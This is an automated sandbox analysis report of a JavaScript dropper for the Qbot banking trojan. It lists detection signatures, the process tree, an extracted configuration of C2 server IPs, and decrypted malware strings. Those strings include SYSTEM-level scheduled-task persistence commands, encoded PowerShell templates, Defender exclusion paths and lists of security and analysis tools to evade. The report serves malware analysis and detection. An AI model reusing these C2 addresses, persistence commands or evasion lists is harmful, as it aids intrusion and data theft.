Edit tour

Windows Analysis Report
ProjectFunding_450726_Jun01.js

Overview

General Information

Sample Name:	ProjectFunding_450726_Jun01.js
Analysis ID:	880006
MD5:	a657553449746c482dacfe3b19119b7a
SHA1:	630b815d443f8f7ef7e4c4c7c100de1cd8a7ed53
SHA256:	44e029dd6210c4906a82e1f16dd5ebed434efd225dafb92fc560e6ff6d1ee948
Tags:	js
Infos:

Detection

Qbot

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Qbot

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

C2 URLs / IPs found in malware configuration

Sample uses string decryption to hide its real strings

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

Java / VBScript file with very long strings (likely obfuscated code)

PE file contains an invalid checksum

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Launches processes in debugging mode, may be used to hinder debugging

Checks for available system drives (often done to infect USB drives)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3100 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

msiexec.exe (PID: 5424 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

rundll32.exe (PID: 7228 cmdline: rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 7252 cmdline: rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 7284 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

wscript.exe (PID: 7236 cmdline: wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
QakBot, qbotQbot	QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.	GOLD CABIN	http://contagiodump.blogspot.com/2010/11/template.html http://www.secureworks.com/research/threat-profiles/gold-lagoon http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7 https://asec.ahnlab.com/en/44662/	https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot

Malware Configuration

Threatname: Qbot

{"Bot id": "obama266", "Campaign": "1685611378", "Version": "404.1346", "C2 list": ["24.234.220.88:990", "70.28.50.223:2078", "96.56.197.26:2083", "103.123.223.133:443", "83.249.198.100:2222", "199.27.66.213:443", "90.104.151.37:2222", "94.204.202.106:443", "72.205.104.134:443", "65.95.141.84:2222", "70.28.50.223:2078", "82.131.141.209:443", "77.126.99.230:443", "71.38.155.217:443", "205.237.67.69:995", "84.215.202.8:443", "24.234.220.88:465", "76.178.148.107:2222", "116.74.163.130:443", "70.28.50.223:2087", "147.147.30.126:2222", "173.88.135.179:443", "103.140.174.20:2222", "77.86.98.236:443", "92.149.250.113:2222", "96.87.28.170:2222", "86.168.210.41:443", "176.142.207.63:443", "12.172.173.82:32101", "86.132.236.117:443", "70.50.83.216:2222", "161.142.103.187:995", "45.62.70.33:443", "12.172.173.82:465", "178.175.187.254:443", "83.110.223.61:443", "105.184.209.194:995", "41.186.88.38:443", "102.156.10.183:443", "27.109.19.90:2078", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "24.234.220.88:995", "125.99.69.178:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "124.122.47.148:443", "81.229.117.95:2222", "98.145.23.67:443", "114.143.176.236:443", "103.144.201.48:2078", "122.186.210.254:443", "69.160.121.6:61201", "12.172.173.82:21", "72.253.126.216:443", "75.109.111.89:443", "76.86.31.59:443", "116.120.145.170:995", "12.172.173.82:50001", "81.101.185.146:443", "201.244.108.183:995", "68.203.69.96:443", "103.139.242.6:443", "103.42.86.42:995", "85.61.165.153:2222", "76.16.49.134:443", "125.99.76.102:443", "184.182.66.109:443", "70.28.50.223:32100", "50.68.204.71:993", "85.57.212.13:3389", "41.227.190.59:443", "70.28.50.223:3389", "31.53.29.235:2222", "89.79.229.50:443", "50.68.186.195:443", "47.199.241.39:443", "93.147.235.8:443", "75.141.227.169:443", "45.243.142.31:995", "79.92.15.6:443", "85.104.105.67:443", "89.129.109.27:2222", "86.176.83.44:2222", "24.234.220.88:993", "89.32.156.5:995", "12.172.173.82:22", "103.101.203.177:443", "70.28.50.223:2083", "98.187.21.2:443", "70.49.205.198:2222", "96.56.197.26:2222", "92.9.45.20:2222", "86.195.14.72:2222", "172.115.17.50:443", "100.4.163.158:2222", "80.12.88.148:2222", "213.64.33.92:2222", "113.11.92.30:443", "78.192.109.105:2222", "47.34.30.133:443", "122.184.143.86:443", "198.2.51.242:993", "165.120.169.171:2222", "88.126.94.4:50000", "82.125.44.236:2222", "117.195.17.148:993", "147.219.4.194:443", "80.167.196.79:443", "92.154.17.149:2222", "184.181.75.148:443", "95.45.50.93:2222", "84.35.26.14:995", "201.143.215.69:443", "12.172.173.82:2087", "50.68.204.71:443", "64.121.161.102:443"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.385257108.000000000047A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000002.385365210.0000000000E10000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
decrypted.memstr	JoeSecurity_Qbot	Yara detected Qbot	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.rundll32.exe.570000.1.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xec55:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa87b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.570000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.490910.0.raw.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xec55:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa87b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.490910.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.490910.0.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xe055:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0x9c7b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.490910.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.385257108.000000000047A000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Qbot {"Bot id": "obama266", "Campaign": "1685611378", "Version": "404.1346", "C2 list": ["24.234.220.88:990", "70.28.50.223:2078", "96.56.197.26:2083", "103.123.223.133:443", "83.249.198.100:2222", "199.27.66.213:443", "90.104.151.37:2222", "94.204.202.106:443", "72.205.104.134:443", "65.95.141.84:2222", "70.28.50.223:2078", "82.131.141.209:443", "77.126.99.230:443", "71.38.155.217:443", "205.237.67.69:995", "84.215.202.8:443", "24.234.220.88:465", "76.178.148.107:2222", "116.74.163.130:443", "70.28.50.223:2087", "147.147.30.126:2222", "173.88.135.179:443", "103.140.174.20:2222", "77.86.98.236:443", "92.149.250.113:2222", "96.87.28.170:2222", "86.168.210.41:443", "176.142.207.63:443", "12.172.173.82:32101", "86.132.236.117:443", "70.50.83.216:2222", "161.142.103.187:995", "45.62.70.33:443", "12.172.173.82:465", "178.175.187.254:443", "83.110.223.61:443", "105.184.209.194:995", "41.186.88.38:443", "102.156.10.183:443", "27.109.19.90:2078", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "24.234.220.88:995", "125.99.69.178:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "124.122.47.148:443", "81.229.117.95:2222", "98.145.23.67:443", "114.143.176.236:443", "103.144.201.48:2078", "122.186.210.254:443", "69.160.121.6:61201", "12.172.173.82:21", "72.253.126.216:443", "75.109.111.89:443", "76.86.31.59:443", "116.120.145.170:995", "12.172.173.82:50001", "81.101.185.146:443", "201.244.108.183:995", "68.203.69.96:443", "103.139.242.6:443", "103.42.86.42:995", "85.61.165.153:2222", "76.16.49.134:443", "125.99.76.102:443", "184.182.66.109:443", "70.28.50.223:32100", "50.68.204.71:993", "85.57.212.13:3389", "41.227.190.59:443", "70.28.50.223:3389", "31.53.29.235:2222", "89.79.229.50:443", "50.68.186.195:443", "47.199.241.39:443", "93.147.235.8:443", "75.141.227.169:443", "45.243.142.31:995", "79.92.15.6:443", "85.104.105.67:443", "89.129.109.27:2222", "86.176.83.44:2222", "24.234.220.88:993", "89.32.156.5:995", "12.172.173.82:22", "103.101.203.177:443", "70.28.50.223:2083", "98.187.21.2:443", "70.49.205.198:2222", "96.56.197.26:2222", "92.9.45.20:2222", "86.195.14.72:2222", "172.115.17.50:443", "100.4.163.158:2222", "80.12.88.148:2222", "213.64.33.92:2222", "113.11.92.30:443", "78.192.109.105:2222", "47.34.30.133:443", "122.184.143.86:443", "198.2.51.242:993", "165.120.169.171:2222", "88.126.94.4:50000", "82.125.44.236:2222", "117.195.17.148:993", "147.219.4.194:443", "80.167.196.79:443", "92.154.17.149:2222", "184.181.75.148:443", "95.45.50.93:2222", "84.35.26.14:995", "201.143.215.69:443", "12.172.173.82:2087", "50.68.204.71:443", "64.121.161.102:443"]}

Sample uses string decryption to hide its real strings

Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: netstat -nao
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: runas
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ipconfig /all
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: net localgroup
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: nltest /domain_trusts /all_trusts
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %s %04x.%u %04x.%u res: %s seh_test: %u consts_test: %d vmdetected: %d createprocess: %d
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Microsoft
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELF_TEST_1
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: p%08x
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Self test FAILED!!!
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Self test OK.
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: /t5
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: whoami /all
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cmd
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: ERROR_INSUFFICIENT_BUFFER
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: route print
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .lnk
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: "%s\system32\schtasks.exe" /Create /ST %02u:%02u /RU "NT AUTHORITY\SYSTEM" /SC ONCE /tr "%s" /Z /ET %02u:%02u /tn %s
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: arp -a
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %s "$%s = \"%s\"; & $%s"
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: net share
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cmd.exe /c set
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Self check
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %u;%u;%u;
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: /c ping.exe -n 6 127.0.0.1 & type "%s\System32\calc.exe" > "%s"
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ProfileImagePath
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: at.exe %u:%u "%s" /I
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ProgramData
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Self check ok!
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: powershell.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: qwinsta
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: net view
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Component_08
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Start screenshot
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: schtasks.exe /Delete /F /TN %u
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: appidapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %s \"$%s = \\\"%s\\\\; & $%s\"
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: c:\ProgramData
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Component_07
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: powershell.exe -encodedCommand %S
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: %u
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: powershell.exe -encodedCommand
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SoNuce]ugdiB3c[doMuce2s81*uXmcvP
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: \System32\WindowsPowerShell\v1.0\powershell.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: netstat -nao
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: runas
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ipconfig /all
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SystemRoot
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cscript.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: C:\INTERNAL\__empty
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_PhysicalMemory
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ALLUSERSPROFILE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: image/jpeg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LocalLow
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: displayName
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: shlwapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CommandLine
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: kernel32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SubmitSamplesConsent
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: 1234567890
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wbj.go
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_DiskDrive
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: System32
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Name
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WRSA.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: c:\\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SpyNetReporting
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: FALSE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aswhookx.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Packages
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: application/x-shockwave-flash
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: RepUx.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Winsta0
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: avp.exe;kavtray.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: root\SecurityCenter2
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: MsMpEng.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: userenv.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: csc_ui.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: \\.\pipe\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: pstorec.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: NTUSER.DAT
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: from
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: netapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: gdi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: setupapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: iphlpapi.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Caption
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: CrAmTray.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_ComputerSystem
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: user32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: \sf2.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: egui.exe;ekrn.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Software\Microsoft
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %S.%06d
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: bcrypt.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wtsapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: shell32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: TRUE
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Bios
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: c:\hiberfil.sysss
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: /
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ByteFence.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: type=0x%04X
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: snxhk_border_mywnd
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ROOT\CIMV2
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: https
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: fshoster32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: kernelbase.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: regsvr32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %s\system32\
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Process
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: rundll32.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LOCALAPPDATA
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: cmd.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: APPDATA
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: select
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: mcshield.exe
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: advapi32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: ws2_32.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: .cfg
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: aabcdeefghiijklmnoopqrstuuvwxyyz
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: Win32_Product
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: WQL
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: wininet.dll
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: LastBootUpTime
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: S:(ML;;NW;;;LW)
Source: 4.2.rundll32.exe.570000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
